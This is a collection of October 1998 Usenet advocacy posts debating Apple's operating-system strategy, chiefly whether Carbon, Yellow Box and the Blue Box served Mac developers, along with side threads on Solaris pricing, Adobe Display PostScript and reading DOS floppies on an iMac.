: I would have made in that thread.
: Solaris customers are *not* more willing to part with their money than
: most Mac customers. Cost-conscious enterprise customers have been
: leading corporation after corporation down the hellish road of Windows
: NT, replacing capable Solaris servers and workstations with nice but
: totally inadequate Windows NT machines.
I believe this must be a two way street, since Solaris on Sun unit
shipments and revenue continue to increase.
Anyway, you are still missing my point. Sun has always been a company
that sells to corporations and other institutions and has always had
customers who were willing to spend over $20,000 dollars to buy a
workstation. Many of those organizations continue to be
willing to spend that sort of money to satisfy their requirements.
Some are spending considerably more. Some aren't. Apple customers,
which includes consumers who won't ever see a ROI measurable in dollars
one their purchase, never have been willing to spend that much for the
items that they have traditionally bought from Apple, though they are
typically willing to spend a little bit more than PC customers.
: Many of us at Ericsson have found poetic justice by pushing Intel-based
: solutions through purchasing, which probably thinks we are running NT.
: Instead, we install Linux and are porting massive chunks of our
: environment over. We've already converted most of the local management,
: which has found that our Linux solutions are an actual product that can
: be sold to budget-conscious customers. Some of the managers have become
: True Believers; I get emails every so often from managers who have found
: a new article about positive Linux trends.
: It's power, baby. If Apple had a solution I wanted, I'd do the same for
: them. So would thousands of engineers across the globe. All Apple has to
: do is build the [expletive deleted] solution. And ship it, of course.
Well I totally agree. But in terms of licensing, MacOS as it stands
today won't generate the kind of growth that is needed to sustain
both Apple and licensees. Mac OS X may very well do so. But Apple
has to do well in the meantime, or Mac OS X will fail because Apple
has gone bankrupt. Licensees won't help with Mac OS 8.x and it won't
help Apple, since it doesn't leave enough room for Apple to distinguish
itself from cloners who don't have the resources to compete on something
other than price.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 05:13:07 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <6vet93$k3v$1@supernews.com>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com>
In article <361A9F92.1D9F3A3@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Right. In other words, MacOS programs *have* to be rewritten, and thus
>become second-rate first-class citizens in the Rhapsody environment.
>This, in contrast to letting MacOS programs be first-rate first-class
>citizens in their own environment (without an immediate rewrite, also).
Apple tried the "first-rate, first-class citizens without a rewrite"
route once before, with Copland, which crashed and burned.
The process of Carbonating old MacOS programs is purportedly not
all that bad. In exchange for a relatively small investment of
labor, the vendor gets significant advantages in stability and
capability. Sounds like a reasonably good idea to me, quite
independent of whatever Apple's long-term plans are.
>> What evidence is that it's screwing everything up, as compared to what
>> was happening before?
>
>The fact that Rhapsody is more than ever a balancing act against MacOS,
>and that both look pathetic because of Jobs' constant shapeshifting on
>the subject of pathways forward.
It's actually quite a clever piece of gamesmanship. A popular book
in NeXT marketing circles several years back was _Crossing the Chasm_,
which dealt with the problem of transitioning from early-adopter
success to mainstream success.
Rhapsody is neat stuff, but it won't go from its current installed
base to industry standard via just offering a completely new
OS for sale. Apple is (apparently) trying to cross the chasm by taking
two steps: first, establish a capable OS substrate in the market
via carbonated applications running on top of some sort of Unix-y
kernel. Once that's established and has a non-trivial installed
base, you can start selling YB into that market. Carbonated
apps sell the OS substrate; the existence of the OS substrate
enables YB markets.
The alternative was to have MacOS apps running in a penalty
box while waiting for developers to develop YB apps, which
few showed evidence of wanting to do. This didn't offer much
in the way of a value proposition to customers. Or they
could try Copland redux, which was an abject technical failure
the first time around.
--
Don McGregor | While the above is legally accurate, I did not
mcgredo@mbay.net | volunteer information.
Message-ID: <361AFD8E.E52C04D6@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de><pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.com> <361AB985.AE669F81@nstar.net> <01bdf1a2$79d91df0$06387880@chewy>
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NNTP-Posting-Date: Wed, 07 Oct 1998 01:36:18 EDT
Organization: ISPNews http://ispnews.com
Date: Wed, 07 Oct 1998 00:35:10 -0500
Todd Heberlein (todd at NetSQ dot com) wrote:
> Carbon is probably the biggest change in the MacOS since, and maybe
> including multifinder.
No, it's not a bigger change than System 7 was.
> Carbon allows MacOS applications to have true
> pre-emptive multi-tasking and memory protection - what Apple has been
> promising for years but never able to deliver.
I'm sorry, but I think you've misunderstood what Carbon is. It's an API.
As far as I know, there will be a different operating system providing
pre-emptive multi-tasking and memory protection, not MacOS.
[cut]
> Exactly!! If Apple's previous leaders had gone with the Carbon model
> for Copland, and was able to execute on it (big "if" given Apple's
> track record at the time), Copland would have been MacOS 8, Apple would
> have been on par with NT, and Apple wouldn't have need to look outside
> for a new OS.
Copland?!
[cut]
> > Why? Carbon shouldn't be competing with YB!
>
> It isn't. No one other than existing NEXTSTEP developers were going to
> use YB. YB had been Apple's announced strategy for almost a year and a
> half before Carbon was even known to have existed, and not a single
> major developer announced plans to support it.
So what? I don't get it. Why did all the "major developers" (major
developers, major developers, major developers; isn't anyone else out
there?) have to jump on the bandwagon? Why couldn't Apple supply the
"major developers" with a MacOS roadmap? I've already covered this
territory: by promoting YB and Rhapsody *at MacOS' expense*, Apple
created an impossible situation for developers -- which is EXACTLY what
everyone had predicted would happen with such a strategy! Why do you
think a MacWEEK interview with Gil Amelio said this while Apple still
had some wits?:
"Apple's boss said he understands that even after Rhapsody ships next
year it will take a while for developers and end users to turn to the OS
in great numbers. It's for that reason that the company has been playing
up the Mac OS so much of late."
Maybe you don't remember this. Maybe you and Steve Jobs were in such a
rush to be Apple's saviors that you didn't notice that _There Was A
Plan_. We ALREADY KNEW that developers would take a while. But that
didn't matter; come end of 1997 all we heard were sighing NeXTstep
people, bitching about how the rest of the world hadn't come around.
Nevermind that most of us were excited about YB and were all for giving
it the spotlight when the appropriate time arrived. It had to happen
*today*, dammit. And to make way, the existing MacOS had to be subsumed.
Yes, we all heard about how slow Gil Amelio was. He just didn't have the
speed, the energy, the vision of Steve Jobs. Who gives a fuck about Gil
Amelio or Steve Jobs anyway, this isn't about them, it's about *making
the right decisions*.
> > It shouldn't be competing with the Blue Box.
>
> No. Carbon is to essentially replace the Blue Box. The Blue Box will
> probably be used by applications which are essentially not being
> maintained or upgraded - applictions that have ended their life cycle.
I'm disgusted by this. If this is true the strategy has changed more
fundamentally than I knew. It means that Blue Box is no longer a bridge
between MacOS and Rhapsody; instead it's nothing more than a way to
trick MacOS into laying down and dying. Congratulations, it's dying. And
so is Rhapsody.
> > It's totally out of place on Rhapsody!
>
> Rhapsody had generated very little excitement outside NEXTSTEP users.
> Carbon has given Rhapsody (MacOS X) a lease on life.
Read the quote from MacWEEK again. May 2, 1997! Are you about to tell me
that you were *surprised* by this?
> > 1) Carbon draws attention and development effort (and
> > incentive) away from YB
>
> Once again, after almost a year and a half, virtually no one had
> endorsed YB. Java may draw development effort away from YB, but not
> Carbon.
Carbon seals YB's fate. YB probably had a long and distinguished future
ahead of it; unfortunately, neither Apple nor its NeXT fans were willing
to wait for it, and they have now managed to completely destroy its
chances of ever becoming a viable platform.
Basically, Apple gave YB a late-term abortion.
> > 2) Carbon's presence on Rhapsody deprecates the Rhapsody
> > Blue Box
>
> The Blue Box was always a crutch until developers could move their
> applications to full process membership in Rhapsody.
Blue Box was a resource that allowed Rhapsody users to run MacOS
programs. This "crutch" spin is historic revisionism. As you have
already claimed, moving MacOS programs to YB is a complete rewrite.
There is nothing about Blue Box that makes it some kind of porting tool
or "crutch" for migration. It's simply a compatibility environment.
> Originally, the
> only way that would happen would be for developers to rewrite their
> applications using YB, but none of the developers were doing that.
> Because developers have endorsed Carbon users will be able to run major
> Mac applications (e.g., Photoshop and Macromedia) as full fledged
> processes with preemptive multi-tasking and memory protection!
Which solidifies Carbon (a MacOS technology) instead of YB. That would
be fine if Carbon were actually deployed on MacOS, but it's being
deployed on Rhapsody. For what? Who knows? What is so crucial about
moving *everyone* to Rhapsody, so crucial that it involves rewriting the
OS, killing off the existing MacOS, and sealing YB's fate? What am I
missing? Why couldn't Apple be glorious for what it accomplished in
MacOS, and have this wonderful Rhapsody OS as a long-term investment
that would undoubtedly pay off if Apple played its cards right?
You know what that's called? It's killing the goose that lays the golden
eggs. And it's done.
> > 3) Carbon's absence on MacOS (for the time being)
> > deprecates MacOS
>
> Libraries supporting the Carbon APIs will be available for the current
> MacOS architecture so Carbonized apps can run on it. Developers will
> only have to support one development tree for both the legacy MacOS
> architecure and the new modern OS architecure.
Ah, that's so much better than having Windows support in the long run.
From the May 2, 1997 interview with Gil Amelio:
"Amelio said his goal is to have developers walk away rom the conference
with a 'deeper understanding of why Rhapsody's so damned important.'...
Rhapsody developers writing with the Concert APIs will be able to take
applications over to Intel-standard PCs without having to rewrite them,
he said.
'By having access to the Concert API we can - and you can, Mr. Developer
- address 100 percent of the market,' Amelio said, adding that 'when
we're done ... we'll have done the most wonderful thing in the world -
we've made Windows invisible.'"
Jobs just couldn't wait, could he? He had to have everything *now*. And
what he got instead was this...October 1998, and nothing has shipped,
and most of it probably never will.
> The MacOS architecture is inheritently bad for the fundamental OS
> capabilities we expect in a modern OS. Radical surgery was needed, and
> Carbon is the approach that causes the least pain with major developers
> with established MacOS applications.
Exactly! And Carbon deployed on MacOS would have been a stroke of
genius.
> Carbon isn't simply about a new API for developers - it is the approach
> necessary to easily move current Mac developers with as little pain as
> possible onto a robust modern OS.
Like BSD. BSD is the OS, remember? And Mach is the kernel. And back in
May 1997, Amelio was exploring plans to do exactly that.
> It will probably never run *all* MacOS software. All those
> applications that break with each MacOS upgrade usually break because
> they are violating the pure MacOS API in some way. Those will probably
> still break in the Blue Box.
When I say "all" I am intending to be inclusive of both System
7-compatible software and Carbon software. I am not implying that Blue
Box can run 100.0000% of all MacOS apps.
> Users don't want a clear distinction between the new and the old
> applications. People use their Mac because they like the way it does
> things.
>
> Developers don't want to support two radically different APIs either.
They don't have to. They can support whichever API they choose for the
future of their application. They can watch Apple's patient investment
in YB and say "hey, we can invest, too. Apple's saying YB will be around
for when we're ready to move." After all, what were the complaints
levelled against Apple?
1) No modern OS features
2) "Apple doesn't have a future"
The first could have been accomplished using the Blue Box and Mach+BSD.
The second could have been satisfied through competent management of YB.
Neither one happened. Instead, Apple still doesn't have an OS with
modern features, and it still doesn't have a future.
> That may end up being true, but it isn't because of Carbon. Again,
> major developers were not jumping to use YB for the year and a half
> before Apple announced it was buying NeXT and Carbon was announced.
Something Amelio himself had predicted. Funny.
Remember this?
"It's for that reason that the company has been playing up the Mac OS so
much of late."
> Developers who want to learn a whole new approach and API or are
> starting an application from scratch are probably going to lean towards
> Java.
Once upon a time, they could have had a reason to use YB. Now, they
don't. MacOS X will be a Carbon-based operating system. YB will be
another one of those proprietary APIs that had potential but which never
really gained much widespread acceptance. Sort of like PHIGS, or XView,
or OpenDoc.
Or Iris GL. Hey, trivia question: what was Iris GL's successor? If you
guessed "OpenGL", you're right! What can you tell me about the
differences between Iris GL's handling and OpenGL's handling?
> I believe Apple biggest decision is how it will reconcile supporting
> both Java and YB.
Probably. This could have been a no-brainer. Now it's a major problem.
[cut - redundant, and I'm exhausted]
> Carbon's purpose isn't to create a new API. Its purpose to to create
> an API amenable to a modern OS architecure that is as close the the
> current MacOS Toolbox API as possible.
This could have been done quite capably without butchering the Rhapsody
strategy, as I've been pointing out all along. It could have been done
without tying YB to a particular platform, and creating the Frankenstein
that will be MacOS X. It could have been done without destroying plans
to create an Intel-based OS that would serve as a wider market for YB
apps. *yawn* It could have been done...[ad nauseum].
> Putting Carbon on the current MacOS architecure doesn't create any new
> capabilities for that architecure. The reason for putting Carbon APIs
> on the existing MacOS architecture is to give developers a single API
> to code to - their apps will run on both the old MacOS architecure as
> well as the new one, but the apps only inherit the modern OS
> capabilities on the new architecture (Rhapsody/MacOS X).
>
> > There should never have been a "Carbon".
>
> Without Carbon, all the major software developers would probably walk
> away from the Mac platform.
If, instead of "Carbon", Apple had made the equivalent changes to MacOS
(cut the crap and the frills, just put Blue Box on a microkernel and
make Carbon-like changes to the Toolbox), almost all of the existing
developers would probably have been happy to celebrate a brand-new MacOS
that gave them a path forward, and a YB strategy that gave them a
long-term future.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Tue, 06 Oct 1998 03:11:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vc1ou$vtq$1@nnrp1.dejanews.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <36074e77.39113826@news.alt.net> <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com> <6v3j9g$jna$1@nnrp1.dejanews.com> <lekleber-0410981734320001@uar180003.columbus.rr.com> <6v9719$cp$1@nnrp1.dejanews.com> <6vav8c$5q7$2@birch.prod.itd.earthlink.net>
In article <6vav8c$5q7$2@birch.prod.itd.earthlink.net>,
"s124"@[REMOVE]earthlink.net wrote:
> Well why not use DR-DOS instead of MacOS? They have the same multasking
> features, and a 286 running DR-DOS doesn't crash nerely as much as
> MacOS.
I wasn't advocating MS-DOS over DR-DOS. I was just demonstrating that Arun's
claim that "There are no objective advantages to running DOS on a 286 over
running say, MacOS on a G3 233 MHz..." is false.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 6 Oct 1998 03:18:27 GMT
Organization: Michigan State University
Message-ID: <6vc263$19a$1@msunews.cl.msu.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com>
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<tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com>
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<6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>
<36196301.72F98584@nstar.net>
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Cc: mjpeck@nstar.net
In <36196301.72F98584@nstar.net> Michael Peck wrote:
> Pulsar wrote:
>
> > That's the way I used to think. I've begun to realize that very few people
> > give a bloody damn about Yellow Box. The people who have investments in the
> > Mac OS (as in years of code development and products) _do_not_care_ about
> > YB. It simply does not matter. For them to support YB would mean scrapping
> > all of their time and experience at working with the Mac OS for an entirely
> > new API. It would mean that except that they would _also_ have to support
> > the old Mac OS because YB even if it is wildly successful in its deployment
> > will represent a relatively small portion of the market.
>
> This problem was entirely of Apple's own creation (post-Steve). Amelio
> had originally planned to pitch Rhapsody and MacOS as separate
> solutions, and to nurture the existing OPENSTEP enterprise market into a
> real force.
If the above is true I wish Amelio had stuck around maybe he would
have gotten out Openstep 4.2 on PPC long ago as a real product.
I think as seperate products a possible migration path could have
been established for MacOS developers. Porting to a completely
new API and OS is a real chore, and folks are right that the YB market
would be extremely small compared to MacOS proper for MacOS
developers. I think MacOS developers would have been happy
to hear of a commitment from Apple to MacOS for the future. But
Apple would have done well to give a dose of realism and say
they would like for MacOS developers to start exploring YB because
to implement the kinds of features of YB in/on MacOS will be too hard.
Then in MacOS 8.6 or 9.0 Apple would have been wise to start
restricting the set of API calls available to eliminate the low level
stuff they are now calling Carbon. Maybe they could have isolated
those calls into a seperate library and simply warned everyone
it isn't supported AND that they will loose memory protection, multitasking,
etc. if they are used. Something like that..
Apple really hasn't been upfront with their MacOS developers IMHO
in terms of how they very much NEED to have them migrate their
software to YB.
Honesty and openness has never been Mr Jobs strong suit IMHO.
Too bad too because the Apple and NeXT folk I think would have
more easily swallowed bad news told honestly, rather than being
led by the nose, or in stealth mode.
> Jobs amended the plan with "milk the MacOS and move on", creating a
> serious problem for existing MacOS developers, who suddenly found that
> their expertise was threatened. Remember that Amelio promised "we will
> support MacOS for as long as our customers want it." This committment
> extended to "probably at least ten years". I doubt anyone believed MacOS
> would last that long, so Amelio was basically extending an invitation to
> MacOS developers to *stay with the platform* as long as they liked.
> "We're here for you" was the message.
If true again another example of bad business practice. Thing is by
the time Apple purchased NeXT they had already wasted too much
time tiptoeing around and trying to put a happy face on a very serious
situation.
True developers would have been facing some serious decisions
but had Apple really come out and shot straight about it's plans
and asked the Mac community to help - the response would have
been overwhelming. Steve seems to think he knows what people
want IMHO. So does every proprietary OS and hardware provider.
What people want folks is choices. They want to feel like their
computers are built from building blocks that are interchangible
reusable. They also want things to be PNP. Steve has got the PNP
idea down - but in terms of interchangability he is lost in space.
Tell me you can use a iMac monitor on another computer?
Oh and what happens if the computer breaks - ship the whole
darn thing back to Apple - gee smart ship 30lbs or whatever to
fix a dinking card..
I guess people will buy anything if one throws it in front of them.
> Of course, it was also during Amelio's reign that the MacOS development
> team went from 6 to over 100. It wasn't until Jobs began to swing
> Rhapsody around like a MacOS-slaying weapon that developers began to
> panic, and the plans began to change...and change...and change. All of a
> sudden, Apple was no longer "the Macintosh company", it was the "Think
> Different company", and there were no assurances that any given Apple
> technology would not be "Steved" on short notice. I certainly hope it
> surprised nobody that developers themselves began to "Think Different",
> i.e. "Let's get the f*** out of here".
Mainly because someone at Apple really doesn't think about what they
are planning to do and how that will affect various clients. And no I'm
not suprised developers are getting the f*** out of there.
> Anyone would have reacted identically. When you stop hearing "We want to
> give you some powerful new choices" and start hearing "You *will* use
> the new products", you start to get a little pissed-off. I'm reminded of
> the way NeXTstep users reacted to the new UI. "Rhapsody *will* have a
> MacOS UI". Nobody ever heard "you'll have a new MacOS UI choice", and
> the moaning from the NeXT community was a wonder to behold. Somehow,
> some of them seem to have forgotten that they're not the only humans at
> this party.
Coming from NeXTstep-Openstep I have to agree I loath the new interface.
The reason: Everyone who saw the NeXTstep or Openstep GUI thought
it looked fabulous, when they used it they liked it even more. Every interface
is not perfect and is an evolving product. But the one fact that there wasn't
a simple switch to toggle the GUI personality built right in - annoyed a lot
of people. To us NeXTstep/Openstep folks it was like Steve had given
up his principles, that everything he was touting about NeXTstep/Openstep
was just pure unadulterated BS. Because of this whole attitude put into
practice I remain highly skeptical about Apple's chances. I know
for many companies Apple is not even on the radar, and the mere mention
creates fits of laughs and giggles from everyone except many Graphic
artists and publishers still using Macs. Even then they just sit quietly and
work away - almost in silent morning over when their Mac will be replaced
with a PC the laughs and giggles signalling the doom of their beloved
boxes.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: listings@infobase-intl.com (Maria Iglesis)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I still use OPENSTEP........and I like it!
Date: Mon, 05 Oct 1998 22:21:25 GMT
Organization: http://www.infobase-intl.com
Message-ID: <6vc2bm$1pc$2@news.bctel.net>
References: <6v6b9c$8s2$3@news.bctel.net> <6v8f61$8l7@news1.panix.com> <6v9mn8$ior$1@news.bctel.net> <6v9t1c$8be$1@news.idiom.com> <3618e59b.0@news.depaul.edu>
>John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
>> Maria Iglesis may or may not have said:
>> -> I also wonder if Adobe will offer a DPS package
>> -> since Apple won't be offering it.
>
>> No, they won't. That's the problem.
>
>Considering the apparent state of their business (and the recent
>head-rollings there) I'm not sure that would have been a good
>idea. Without a per-seat license fee, I'm not sure what the
>business case is for them.
>
Who said without a fee? I would be willing to buy a DPS package off of Adobe
if they offered it! Can they not see a money making opportunity here?
Maria Iglesis
InfoBase International
listings@infobase-intl.com
http://www.infobase-intl.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Message-ID: <rbarrisF0G0sA.Ity@netcom.com>
Organization: Netcom
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <6vedtf$6o1$1@pascal.a2000.nl>
Date: Wed, 7 Oct 1998 06:02:33 GMT
Sender: rbarris@netcom10.netcom.com
In article <6vedtf$6o1$1@pascal.a2000.nl>,
Pascal Haakmat <ahaakmat@MAPSON.cable.a2000.nl> wrote:
>In article <rbarrisF0FK54.KuB@netcom.com> , rbarris@netcom.com (Robert
>Barris) wrote:
>
>
>>Hellooooo, if you consider the alterations for Carbon (what is described
>>above, a selected useful subset of the classic Mac API, suitable for
>>multitasking and protected memory) to be "rewritten", than perhaps you're
>>correct.
>>
>>Photoshop certainly wasn't "rewritten" in a couple of weekends, and yet
>>that's how long it took to get first code running on the earliest DEMO
>>version of the Carbon API, May WWDC 98.
>
>
>Well... I agree with you.
>
>However, there is no implementation of Carbon yet. This means that we do not
>yet know how well it will perform.
There was enough of one for Adobe to demonstrate a
* running version of Photoshop *
about six months ago.
>If it does not perform as well as Apple promises, then how much more
>rewriting of Photoshop is going to be needed to make it _really_ a
>first-class citizen?
Again this "rewriting", sigh.
You run the carbon dater on your old app. You see which API's are directly
supported and which ones aren't (some stats have been published for a
number of popular existing apps, most are batting 85% or better on a
static call count basis). You make some tweaks. Repeat until happy. You're
not messing with your core code, you're not messing with much of anything
that makes your app unique. You're just hunting down anachronisms, API's
that had to be axed to transition to PM/PMT.
>This brings up the factor of time. If it takes a year from now to perfect
>Carbon, and another year for
>applications to be made _really_ Carbonized, then Carbon will be around for
>a pretty long time. Hardly a transitory solution anymore, and possibly a
>threat to Apple's YB efforts, which I believe to ultimately be much more
>important.
Any hypothesis is worth stating, but I don't agree with the timeframes
involved. See "running version of Photoshop, six months ago." Photoshop
is not exactly "Hello World", and the engineer involved got it running
over the course of a couple weekends!
Rather than make predictions that far into the future, I'll just leave it
at "wait and see". And also re-iterate that not all developers will make
the same choices with regards to toolkits - if the benefits to YB are so
overwhelming, won't its strength appeal to some of the newer developers
out there?
Rob
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <rbarrisF0G1Fr.JJI@netcom.com>
Organization: Netcom
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net>
Date: Wed, 7 Oct 1998 06:16:39 GMT
Sender: rbarris@netcom10.netcom.com
In article <361ABD55.870F151B@nstar.net>,
Michael Peck <mjpeck@nstar.net> wrote:
>Robert Barris wrote:
>
>> Hellooooo, if you consider the alterations for Carbon (what is described
>> above, a selected useful subset of the classic Mac API, suitable for
>> multitasking and protected memory) to be "rewritten", than perhaps you're
>> correct.
>>
>> Photoshop certainly wasn't "rewritten" in a couple of weekends, and yet
>> that's how long it took to get first code running on the earliest DEMO
>> version of the Carbon API, May WWDC 98.
>
>They are "rewritten", no matter how much effort that entails. Here the
>difference is between existing, already-shipped software (which is
>plentiful) and non-existing, never-shipped software. MacOS should be
>used to run MacOS software, and there should be an aggressive upgrade
>strategy for MacOS that includes Carbon. In fact, it should already
>include Carbon.
Hmmm, some apps are in fact Carbon-ready with no changes at all.
If I can take such an app and recompile it...
... did I re-write it?
>And Rhapsody should be used to run YB software with the additional
>benefit of running *all* MacOS software, Carbon or no, in a
>backward-compatibility environment.
Sure. I don't argue with that.
>> Not every developer faces the same choices. Not all will make the same
>> decision.
>
>It doesn't matter if there are exceptions. In fact, I suspect that
>developers who stay with Apple at all will be exceptions in their own
>right.
Whatever...
>> I don't completely disagree. Carbon at its core is a response to
>> developer wants. Namely, not wanting to do a big rewrite of apps just to
>> get into YB.
>
>They still don't get YB! All they get is a sticker that says "Rhapsody
>Ready" or whatever Apple intends to do to reward Carbonizers, and their
>app gets to pretend to be a real Rhapsody program, when it's really not.
Hmmm, Apple's rewards don't figure into it for me.
The jump to YB IS a re-write.
For my code, the switch to Carbon is not.
The switch to Carbon is trivial, and rewards me with PM/PMT (among other
things, like running on an all-native OS from the API's down, unlike blue
box.)
>> If you want to poke fun, sure.
>
>I'm not poking fun! This is the sidewinding OS strategy over which Apple
>has been stumbling for the last two years. There's nothing funny about
>it! If Apple had stuck to Amelio's original plan, there would still be a
>future for developers who wanted to stay with and grow the MacOS
>platform, and there would also be a premium development platform for
>high-end developers and new developers to follow, along with existing
>OPENSTEP developers.
Apple stuck to Amelio's plan for a time, unfortunately it never gathered
any support from developers such as the ones I mentioned, the ones with
big code bases. (MS, Adobe, Macromedia).
It could be argued that MS alone, in their spurning of YB, forced the
Carbon strategy. Or you could spin it in a positive light and say "Apple
and MS agreed that a native toolkit (carbon) running on the modern kernel
was the best path to make MS software available in the new environment."
Whichever way you want it, the fact that Office and Photoshop weren't
going to hop on the YB bus sort of made a decision for people.
>Like this is anything new. Of course it's not; it's the plan every NeXT
>fan here in this group hailed as a recipe for success back in the days
>before Jobs' triumphant coup. Now the body language is all mixed-signals
>swaggering, "oh yeah, I've got it under (whoops) control, I'm (whoops)
>badass, I'm cool, I'm (whoops)..."
I'm trying to be logical and unemotional about this.
>> Some names have changed. But if you break it down, MacOS X has the same
>> Blue Box that Rhapsody does. The same Yellow Box. And it also has a
>> "Carbon" box, for apps that get tweaked appropriately.
>
>Forget MacOS X. We've got our hands full with just two operating
>systems, we don't need a third muddling the discussion. I couldn't care
>less about MacOS X because unless Rhapsody does something magical MacOS
>X will never ship.
You missed my point.
Perhaps, put more simply: what if there was no MacOS X, only "Rhapsody
2.1, now with Carbon"... from my point of view that's what MSX is.
>> Macromedia, Microsoft and Adobe don't seem to believe that it is silly.
>> Are they wrong?
>
>How would you know?
I'm just going by what I heard from company reps in person at May WWDC.
One of them was the guy that tweaked Photoshop for Carbon over a couple
of weekends, and got it running. One of them was (IIRC) the guy in
charge of Office at MS Bay, he sounded very enthusiastic about it, you
can't blame him, his software is going to get to market sooner and with
so much less effort than porting to YB, and still get an enormous benefit
by running atop an all-native toolbox and kernel.
>> Well, here you are assuming that *all* developers will make the same
>> decision.
>
>No, I'm assuming that 95% of them will.
And what would be wrong with that?
Realizing of course that if one of those 5% were a big-time developer, or
even a small time developer with a hit product, it wouldn't matter
whether they were in the majority by headcount or not, their product
volume would be what matters.
For example, let's say only one developer brought out a full line of YB
software, and their name was "Adobe". Certainly that would register as
more substantial support for YB than some shareware developer out in the
sticks.
>> The ones that have new apps and still have an easy choice to
>> make might not agree with your assessment. But who are they?
>
>Dunno.
Does anyone? Who's out there chomping at the bit to crank out waves of
hot YB software?
9 or 10 months after the announcement of Rhapsody and Yellow Box, the
number of new YB titles in the works was pitiful. Carbon is but the
inevitable response to something that has already happened.
I don't need or want to rag on YB. It's just not for me!
Rob
From: jaredhay.mapson@powersurfr.com (Jared Hay)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Wed, 07 Oct 1998 00:14:15 -0600
Organization: J & J Consulting
Message-ID: <jaredhay.mapson-0710980014150001@softhay.v-wave.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v0rsg$p0b$1@nnrp1.dejanews.com> <no-spam-0210980024450001@port-48-32.access.one.net>
In article <no-spam-0210980024450001@port-48-32.access.one.net>,
no-spam@one.net (MojiDoji) wrote:
>In article <6v0rsg$p0b$1@nnrp1.dejanews.com>, michael.peck@ericsson.com wrote:
>
>> In article <no-spam-0110981305500001@port-39-39.access.one.net>,
>> no-spam@one.net (MojiDoji) wrote:
>> > In article <3613894a.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
>> wrote:
>>
>> > And Macs don't support Windows at all? They've been able to read Windows
>> > disks for quite a few years.
>>
>> Well, the iMac can't.
>
>Obviously not, without a floppy drive, SCSI host adaptor or secondary IDE bus.
>
Yes, actually, I can read DOS formatted floppy disks on my iMac. I insert
the floppy into my 5260, use ShrinkWrap to create a disk image. Then I can
open that disk image from the networked iMac. There, I have just mounted a
DOS/Windows formatted floppy disk on the floppyless iMac. Took all of 24
seconds to creat the disk image, and two seconds to mount said disk image!
the JarHead
--
J & J Consulting Jared & Jamie Hay
Edmonton, AB Canada **remove the wackbard "nospam" to reply**
